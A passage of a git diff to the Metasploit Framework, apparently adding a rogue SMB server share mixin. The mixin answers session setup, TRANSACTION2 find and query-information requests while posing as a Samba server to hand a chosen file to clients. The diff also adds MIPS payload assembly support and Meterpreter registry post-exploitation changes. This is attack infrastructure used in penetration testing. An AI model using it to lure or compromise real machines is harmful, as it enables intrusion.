"A:\x00#{Rex::Text.to_unicode('NTFS')}\x00\x00" + + data = Rex::Text.to_unicode('Unix', 'utf-16be') + "\x00\x00" + # Native OS # Samba signature + Rex::Text.to_unicode('Samba 3.4.7', 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature + Rex::Text.to_unicode('WORKGROUP', 'utf-16be') + "\x00\x00\x00" # Primary DOMAIN # Samba signature + + send_session_setup_andx_res(c, { + action: CONST::SMB_SETUP_GUEST, + data: data, + andx: CONST::SMB_COM_TREE_CONNECT_ANDX, + andx_offset: 96, + andx_command: tree_connect_response + }) + end + + # Builds and sends an SMB_COM_NT_CREATE_ANDX response. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => }] Response custom values. + # @option opts [Fixnum] :action SMB Configuration result. + # @option opts [Fixnum] :andx_offset The offset in bytes from the start of the SMB Header to the start + # of the WordCount field in the next SMBCommand. + # @option opts [Fixnum] :reserved Reserved field. + # @option opts [Fixnum] :andx The command code for the next SMB Command in the packet. + # @option opts [String] :data The SMB_Data for the SMB_COM_SESSION_SETUP_ANDX response. + # @option opts [Rex::Struct2::CStruct] :andx_command The next SMB Command in the packet. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_session_setup_andx_res(c, opts = {}) + action = opts[:action] || 0 + andx_offset = opts[:andx_offset] || 0 + reserved = opts[:reserved] || 0 + andx = opts[:andx] || CONST::SMB_COM_NO_ANDX_COMMAND + data = opts[:data] || '' + andx_command = opts[:andx_command] || nil + + pkt = CONST::SMB_SETUP_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_SESSION_SETUP_ANDX_RES_WORD_COUNT + pkt['Payload'].v['AndX'] = andx + pkt['Payload'].v['Reserved1'] = reserved + pkt['Payload'].v['AndXOffset'] = andx_offset + pkt['Payload'].v['Action'] = action + pkt['Payload'].v['Payload'] = data + + if andx_command + full_pkt = pkt.to_s + andx_command.to_s + original_length = full_pkt[2, 2].unpack('n')[0] + original_length = original_length + andx_command.to_s.length + full_pkt[2, 2] = [original_length].pack('n') + else + full_pkt = pkt.to_s + end + + c.put(full_pkt) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2.rb b/lib/msf/core/exploit/smb/server/share/command/trans2.rb new file mode 100644 index 0000000000..09bb38d152 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/trans2.rb @@ -0,0 +1,100 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Trans2 + require 'msf/core/exploit/smb/server/share/command/trans2/find_first2' + require 'msf/core/exploit/smb/server/share/command/trans2/query_file_information' + require 'msf/core/exploit/smb/server/share/command/trans2/query_path_information' + + # Handles an SMB_COM_TRANSACTION2 command, used to provide support for a richer set of + # server-side file system handling. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans2(c, buff) + smb = @state[c] + pkt = CONST::SMB_TRANS2_PKT.make_struct + pkt.from_s(buff) + + data_trans2 = CONST::SMB_DATA_TRANS2.make_struct + data_trans2.from_s(pkt['Payload'].v['SetupData']) + + sub_command = data_trans2.v['SubCommand'] + parameters = data_trans2.v['Parameters'].gsub(/^[\x00]*/, '') #delete padding + + case sub_command + when CONST::TRANS2_QUERY_FILE_INFO + return smb_cmd_trans2_query_file_information(c, parameters) + when CONST::TRANS2_QUERY_PATH_INFO + return smb_cmd_trans2_query_path_information(c, parameters) + when CONST::TRANS2_FIND_FIRST2 + return smb_cmd_trans2_find_first2(c, parameters) + else + vprint_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_TRANSACTION2 subcommand: #{sub_command.to_s(16)}") + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_NT_STATUS_NOT_FOUND, true) + end + end + + # Builds and sends an SMB_COM_TRANSACTION2 response. + # + # @param c [Socket] The client to answer. + # @param parameters [Rex::Struct2::CStruct] The SMB_Parameters to include in the response. + # @param data [Rex::Struct2::CStruct] The SMB_Data to include in the response. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_trans2_res(c, parameters, data) + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_TRANS2_RES_WORD_COUNT + pkt['Payload'].v['ParamCountTotal'] = parameters.to_s.length + pkt['Payload'].v['DataCountTotal'] = data.to_s.length + pkt['Payload'].v['ParamCount'] = parameters.to_s.length + pkt['Payload'].v['ParamOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + pkt['Payload'].v['DataCount'] = data.to_s.length + pkt['Payload'].v['DataOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + parameters.to_s.length + pkt['Payload'].v['Payload'] = + parameters.to_s + + data.to_s + + c.put(pkt.to_s) + end + + # Converts the path to ascii from unicode and normalizes. + # + # @param path [String] The path to normalize. + # @return [String] The normalized path. + def normalize_path(path) + normalized = Rex::Text.to_ascii(path).downcase + normalized.gsub!(/[\x00]*/, '') #delete padding + normalized.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars + + normalized + end + + # Expands a path with wildcards, and returns the set of matching files. + # + # @param path [String] the path to expand + # @return [String] The matching file. + # @todo It's a shortcut atm, make complete wildcard handling. + # @todo return an Array of matching files. + def smb_expand(path) + search_path = path.gsub(/<\./, '*.') # manage wildcards + extension = File.extname(file_name) + if search_path == "#{path_name}*#{extension}" + search_path = "#{path_name}#{file_name}" + end + + search_path + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2.rb b/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2.rb new file mode 100644 index 0000000000..a4e61572b7 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2.rb @@ -0,0 +1,44 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Trans2 + module FindFirst2 + + # Handles an TRANS2_FIND_FIRST2 subcommand, used to begin a search for file(s) within a + # directory or for a directory. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans2_find_first2(c, buff) + smb = @state[c] + + params = CONST::SMB_TRANS2_FIND_FIRST2_PARAMETERS.make_struct + params.from_s(buff) + + loi = params.v['InformationLevel'] + normalized_path = normalize_path(params.v['FileName']) + search_path = smb_expand(normalized_path) + + case loi + when CONST::SMB_FIND_FILE_NAMES_INFO + return smb_cmd_find_file_names_info(c, search_path) + when CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO + return smb_cmd_find_file_both_directory_info(c, search_path) + when CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO + return smb_cmd_find_file_full_directory_info(c, search_path) + else + # Send STATUS_SUCCESS with the hope of going ahead + vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_FIND_FIRST2 with loi: #{loi.to_s(16)}") + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS) + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information.rb b/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information.rb new file mode 100644 index 0000000000..9f8b460f53 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information.rb @@ -0,0 +1,42 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Trans2 + #@todo Check FID and no shortcut assuming the request always come for the valid FID + module QueryFileInformation + + # Handles an TRANS2_QUERY_FILE_INFORMATION subcommand, used to get information about + # an specific file or directory, using its FID. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans2_query_file_information(c, buff) + smb = @state[c] + + params = CONST::SMB_TRANS2_QUERY_FILE_PARAMETERS.make_struct + params.from_s(buff) + + loi = params.v['InformationLevel'] + fid = params.v['FID'] + + case loi + when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS + return smb_cmd_trans_query_file_info_standard(c, fid) + when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS + return smb_cmd_trans_query_file_info_basic(c, fid) + else + # Send STATUS_SUCCESS with the hope of going ahead + vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_FILE_INFORMATION with loi: #{loi.to_s(16)}") + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS) + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information.rb b/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information.rb new file mode 100644 index 0000000000..a6847e02aa --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information.rb @@ -0,0 +1,43 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Trans2 + module QueryPathInformation + + # Handles an TRANS2_QUERY_PATH_INFORMATION subcommand, used to get information about + # an specific file or directory, using its path. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans2_query_path_information(c, buff) + smb = @state[c] + + params = CONST::SMB_TRANS2_QUERY_PATH_PARAMETERS.make_struct + params.from_s(buff) + + loi = params.v['InformationLevel'] + file_name = normalize_path(params.v['FileName']) + + case loi + when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS + return smb_cmd_trans_query_path_info_standard(c, file_name) + when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS + return smb_cmd_trans_query_path_info_basic(c, file_name) + when CONST::SMB_QUERY_FILE_NETWORK_OPEN_INFO + return smb_cmd_trans_query_path_info_network(c, file_name) + else + # Send STATUS_SUCCESS with the hope of going ahead + vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_PATH_INFORMATION with loi: #{loi.to_s(16)}") + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS) + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/information_level.rb b/lib/msf/core/exploit/smb/server/share/information_level.rb new file mode 100644 index 0000000000..35efd0e2c1 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/information_level.rb @@ -0,0 +1,12 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module InformationLevel + require 'msf/core/exploit/smb/server/share/information_level/find' + require 'msf/core/exploit/smb/server/share/information_level/query' + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/information_level/find.rb b/lib/msf/core/exploit/smb/server/share/information_level/find.rb new file mode 100644 index 0000000000..b801dfcc91 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/information_level/find.rb @@ -0,0 +1,229 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module InformationLevel + module Find + + # Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_BOTH_DIRECTORY_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_find_file_both_directory_info(c, path) + + if path && path.include?(file_name) + data = Rex::Text.to_unicode(file_name) + length = file_contents.length + ea = 0 + alloc = 1048576 # Allocation Size = 1048576 || 1Mb + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + search = 1 + elsif path && path == path_name + data = Rex::Text.to_unicode(path_name) + length = 0 + ea = 0x21 + alloc = 0 # 0Mb + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + search = 0x100 + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true) + end + + send_find_file_both_directory_info_res(c, { + data: data, + end_of_file: length, + ea_error_offset: ea, + allocation_size: alloc, + file_attributes: attrib, + search_count: search, + search_offset: search + }) + end + + # Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_NAMES_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_find_file_names_info(c, path) + if path && path.include?(file_name) + data = Rex::Text.to_unicode(file_name) + elsif path && path == path_name + data = Rex::Text.to_unicode(path_name) + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true) + end + + send_find_file_names_info_res(c, { data: data }) + end + + # Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_FULL_DIRECTORY_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_find_file_full_directory_info(c, path) + if path && path.include?(file_name) + data = Rex::Text.to_unicode(file_name) + length = file_contents.length + ea = 0 + alloc = 1048576 # Allocation Size = 1048576 || 1Mb + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File + search = 0x100 + elsif path && path == path_name + data = Rex::Text.to_unicode(path_name) + length = 0 + ea = 0x21 + alloc = 0 # 0Mb + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + search = 1 + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true) + end + + send_find_full_directory_info_res(c, { + data: data, + end_of_file: length, + ea_error_offset: ea, + allocation_size: alloc, + file_attributes: attrib, + search_count: search, + search_offset: search + }) + end + + # Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_BOTH_DIRECTORY_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => }] Response custom values. + # @option opts [Fixnum] :search_count The number of entries returned by the search. + # @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise. + # @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_BOTH_DIRECTORY_INFO. + # @option opts [Fixnum] :end_of_file The byte offset to the end of the file. + # @option opts [Fixnum] :allocation_size The file allocation size in bytes. + # @option opts [Fixnum] :file_attributes The extended file attributes of the file. + # @option opts [String] :data The long name of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_find_file_both_directory_info_res(c, opts = {}) + data = opts[:data] || '' + search_count = opts[:search_count] || 0 + end_of_search = opts[:end_of_search] || 0 + ea_error_offset = opts[:ea_error_offset] || 0 + end_of_file = opts[:end_of_file] || 0 + allocation_size = opts[:allocation_size] || 0 + file_attributes = opts[:file_attributes] || 0 + + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct + trans2_params.v['SID'] = 0xfffd + trans2_params.v['SearchCount'] = search_count + trans2_params.v['EndOfSearch'] = end_of_search + trans2_params.v['EaErrorOffset'] = ea_error_offset + trans2_params.v['LastNameOffset'] = 0 + + find_file = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct + find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH + data.length + find_file.v['FileIndex'] = 0 + find_file.v['loCreationTime'] = lo + find_file.v['hiCreationTime'] = hi + find_file.v['loLastAccessTime'] = lo + find_file.v['hiLastAccessTime'] = hi + find_file.v['loLastWriteTime'] = lo + find_file.v['hiLastWriteTime'] = hi + find_file.v['loLastChangeTime'] = lo + find_file.v['hiLastChangeTime'] = hi + find_file.v['EndOfFile'] = end_of_file + find_file.v['AllocationSize'] = allocation_size + find_file.v['ExtFileAttributes'] = file_attributes + find_file.v['FileName'] = data + + send_trans2_res(c, trans2_params, find_file) + end + + # Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_NAMES_INFO + # information level. + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => }] Response custom values. + # @option opts [String] :data The long name of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_find_file_names_info_res(c, opts = {}) + data = opts[:data] || '' + + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + find_file = CONST::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct + find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH + data.length + find_file.v['FileIndex'] = 0 + find_file.v['FileName'] = data + + trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct + trans2_params.v['SID'] = 0xfffd + trans2_params.v['SearchCount'] = 1 + trans2_params.v['EndOfSearch'] = 1 + trans2_params.v['EaErrorOffset'] = 0 + trans2_params.v['LastNameOffset'] = 0 + + send_trans2_res(c, trans2_params, find_file) + end + + # Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_FULL_DIRECTORY_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => }] Response custom values. + # @option opts [Fixnum] :search_count The number of entries returned by the search. + # @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise. + # @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_FULL_DIRECTORY_INFO. + # @option opts [Fixnum] :end_of_file The byte offset to the end of the file. + # @option opts [Fixnum] :allocation_size The file allocation size in bytes. + # @option opts [Fixnum] :file_attributes The extended file attributes of the file. + # @option opts [String] :data The long name of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_find_full_directory_info_res(c, opts = {}) + data = opts[:data] || '' + search_count = opts[:search_count] || 0 + end_of_search = opts[:end_of_search] || 0 + ea_error_offset = opts[:ea_error_offset] || 0 + end_of_file = opts[:end_of_file] || 0 + allocation_size = opts[:allocation_size] || 0 + file_attributes = opts[:file_attributes] || 0 + + find_file = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct + find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH + data.length + find_file.v['FileIndex'] = 0 + find_file.v['loCreationTime'] = lo + find_file.v['hiCreationTime'] = hi + find_file.v['loLastAccessTime'] = lo + find_file.v['hiLastAccessTime'] = hi + find_file.v['loLastWriteTime'] = lo + find_file.v['hiLastWriteTime'] = hi + find_file.v['loLastChangeTime'] = lo + find_file.v['hiLastChangeTime'] = hi + find_file.v['EndOfFile'] = end_of_file + find_file.v['AllocationSize'] = allocation_size + find_file.v['ExtFileAttributes'] = file_attributes + find_file.v['FileName'] = data + + trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct + trans2_params.v['SID'] = 0xfffd + trans2_params.v['SearchCount'] = search_count + trans2_params.v['EndOfSearch'] = end_of_search + trans2_params.v['EaErrorOffset'] = ea_error_offset + trans2_params.v['LastNameOffset'] = 0 + + send_trans2_res(c, trans2_params, find_file) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/information_level/query.rb b/lib/msf/core/exploit/smb/server/share/information_level/query.rb new file mode 100644 index 0000000000..89cdcbe7b8 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/information_level/query.rb @@ -0,0 +1,216 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module InformationLevel + module Query + + # Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param fid [Fixnum] The file identifier which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans_query_file_info_basic(c, fid) + smb = @state[c] + + if fid == smb[:file_id].to_i + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + elsif fid.nil? || fid == 0 || fid == smb[:dir_id].to_i # empty fid + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_info_basic_res(c, { file_attributes: attrib }) + end + + # Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param fid [Fixnum] The file identifier which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans_query_file_info_standard(c, fid) + send_info_standard_res(c, { + allocation_size: 1048576, + number_links: 1, + delete_pending: 0, + directory: 0, + end_of_file: file_contents.length + }) + end + + # Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + # @todo Delete elsif comment if testing proofs it as unnecessary + def smb_cmd_trans_query_path_info_basic(c, path) + if path && path.ends_with?(file_name) + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + #elsif path && path.ends_with?(file_name + '.Local') + #attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + elsif path && path == path_name + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + elsif path.nil? || path.empty? || path == "\x00" # empty path + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_info_basic_res(c, { file_attributes: attrib }) + end + + # Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans_query_path_info_standard(c, path) + if path && path.include?(file_name) + attrib = 0 # File attributes => file + elsif path && path == path_name + attrib = 1 # File attributes => directory + elsif path.nil? || path.empty? || path == "\x00" # empty path + attrib = 1 # File attributes => directory + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_info_standard_res(c, { + allocation_size: 1048576, + number_links: 1, + delete_pending: 0, + directory: attrib, + end_of_file: file_contents.length + }) + end + + # Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_NETWORK_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans_query_path_info_network(c, path) + + if path && path.include?(file_name) + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + elsif path && path == path_name + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + elsif path.nil? || path.empty? || path == "\x00" # empty path + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_info_network_res(c, { + allocation_size: 1048576, + end_of_file: file_contents.length, + file_attributes: attrib + }) + end + + # Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_BASIC_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => }] Response custom values. + # @option opts [Fixnum] :file_attributes The extended file attributes of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_info_basic_res(c, opts = {}) + file_attributes = opts[:file_attributes] || 0 + + trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct + trans2_params.v['EaErrorOffset'] = 0 + + query_path_info = CONST::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct + query_path_info.v['loCreationTime'] = lo + query_path_info.v['hiCreationTime'] = hi + query_path_info.v['loLastAccessTime'] = lo + query_path_info.v['hiLastAccessTime'] = hi + query_path_info.v['loLastWriteTime'] = lo + query_path_info.v['hiLastWriteTime'] = hi + query_path_info.v['loLastChangeTime'] = lo + query_path_info.v['hiLastChangeTime'] = hi + query_path_info.v['ExtFileAttributes'] = file_attributes + + send_trans2_res(c, trans2_params, query_path_info) + end + + # Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_STANDARD_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => }] Response custom values. + # @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file. + # @option opts [Fixnum] :number_links The number of hard links to the file. + # @option opts [Fixnum] :delete_pending Indicates whether there is a delete action pending for the file. + # @option opts [Fixnum] :directory Indicates whether the file is a directory. + # @option opts [Fixnum] :end_of_file The offset from the start to the end of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_info_standard_res(c, opts = {}) + allocation_size = opts[:allocation_size] || 0 + number_links = opts[:number_links] || 0 + delete_pending = opts[:delete_pending] || 0 + directory = opts[:directory] || 0 + end_of_file = opts[:end_of_file] || 0 + + trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct + trans2_params.v['EaErrorOffset'] = 0 + + query_path_info = CONST::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct + query_path_info.v['AllocationSize'] = allocation_size + query_path_info.v['EndOfFile'] = end_of_file + query_path_info.v['NumberOfLinks'] = number_links + query_path_info.v['DeletePending'] = delete_pending + query_path_info.v['Directory'] = directory + + send_trans2_res(c, trans2_params, query_path_info) + end + + # Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_NETWORK_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => }] Response custom values. + # @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file. + # @option opts [Fixnum] :end_of_file The offset from the start to the end of the file. + # @option opts [Fixnum] :file_attributes The file attributes. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_info_network_res(c, opts= {}) + allocation_size = opts[:allocation_size] || 0 + end_of_file = opts[:end_of_file] || 0 + file_attributes = opts[:file_attributes] || 0 + + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct + trans2_params.v['EaErrorOffset'] = 0 + + query_path_info = CONST::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct + query_path_info.v['loCreationTime'] = lo + query_path_info.v['hiCreationTime'] = hi + query_path_info.v['loLastAccessTime'] = lo + query_path_info.v['hiLastAccessTime'] = hi + query_path_info.v['loLastWriteTime'] = lo + query_path_info.v['hiLastWriteTime'] = hi + query_path_info.v['loLastChangeTime'] = lo + query_path_info.v['hiLastChangeTime'] = hi + query_path_info.v['AllocationSize'] = allocation_size + query_path_info.v['EndOfFile'] = end_of_file + query_path_info.v['ExtFileAttributes'] = file_attributes + + send_trans2_res(c, trans2_params, query_path_info) + end + end + end + end + end +end diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 8cfbfc841f..05109a09d6 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -552,6 +552,8 @@ protected when ARCH_X64 then Metasm::X86_64.new when ARCH_PPC then Metasm::PowerPC.new when ARCH_ARMLE then Metasm::ARM.new + when ARCH_MIPSLE then Metasm::MIPS.new(:little) + when ARCH_MIPSBE then Metasm::MIPS.new(:big) else elog("Broken payload #{refname} has arch unsupported with assembly: #{module_info["Arch"].inspect}") elog("Call stack:\n#{caller.join("\n")}") diff --git a/lib/msf/core/post/windows/registry.rb b/lib/msf/core/post/windows/registry.rb index 78f28aed55..d502eb26f4 100644 --- a/lib/msf/core/post/windows/registry.rb +++ b/lib/msf/core/post/windows/registry.rb @@ -439,12 +439,10 @@ protected subkeys = [] root_key, base_key = session.sys.registry.splitkey(key) perms = meterpreter_registry_perms(KEY_READ, view) - open_key = session.sys.registry.open_key(root_key, base_key, perms) - keys = open_key.enum_key + keys = session.sys.registry.enum_key_direct(root_key, base_key, perms) keys.each { |subkey| subkeys << subkey } - open_key.close return subkeys rescue Rex::Post::Meterpreter::RequestError => e return nil @@ -460,12 +458,10 @@ protected vals = {} root_key, base_key = session.sys.registry.splitkey(key) perms = meterpreter_registry_perms(KEY_READ, view) - open_key = session.sys.registry.open_key(root_key, base_key, perms) - vals = open_key.enum_value + vals = session.sys.registry.enum_value_direct(root_key, base_key, perms) vals.each { |val| values << val.name } - open_key.close return values rescue Rex::Post::Meterpreter::RequestError => e return nil @@ -480,10 +476,8 @@ protected value = nil root_key, base_key = session.sys.registry.splitkey(key) perms = meterpreter_registry_perms(KEY_READ, view) - open_key = session.sys.registry.open_key(root_key, base_key, perms) - v = 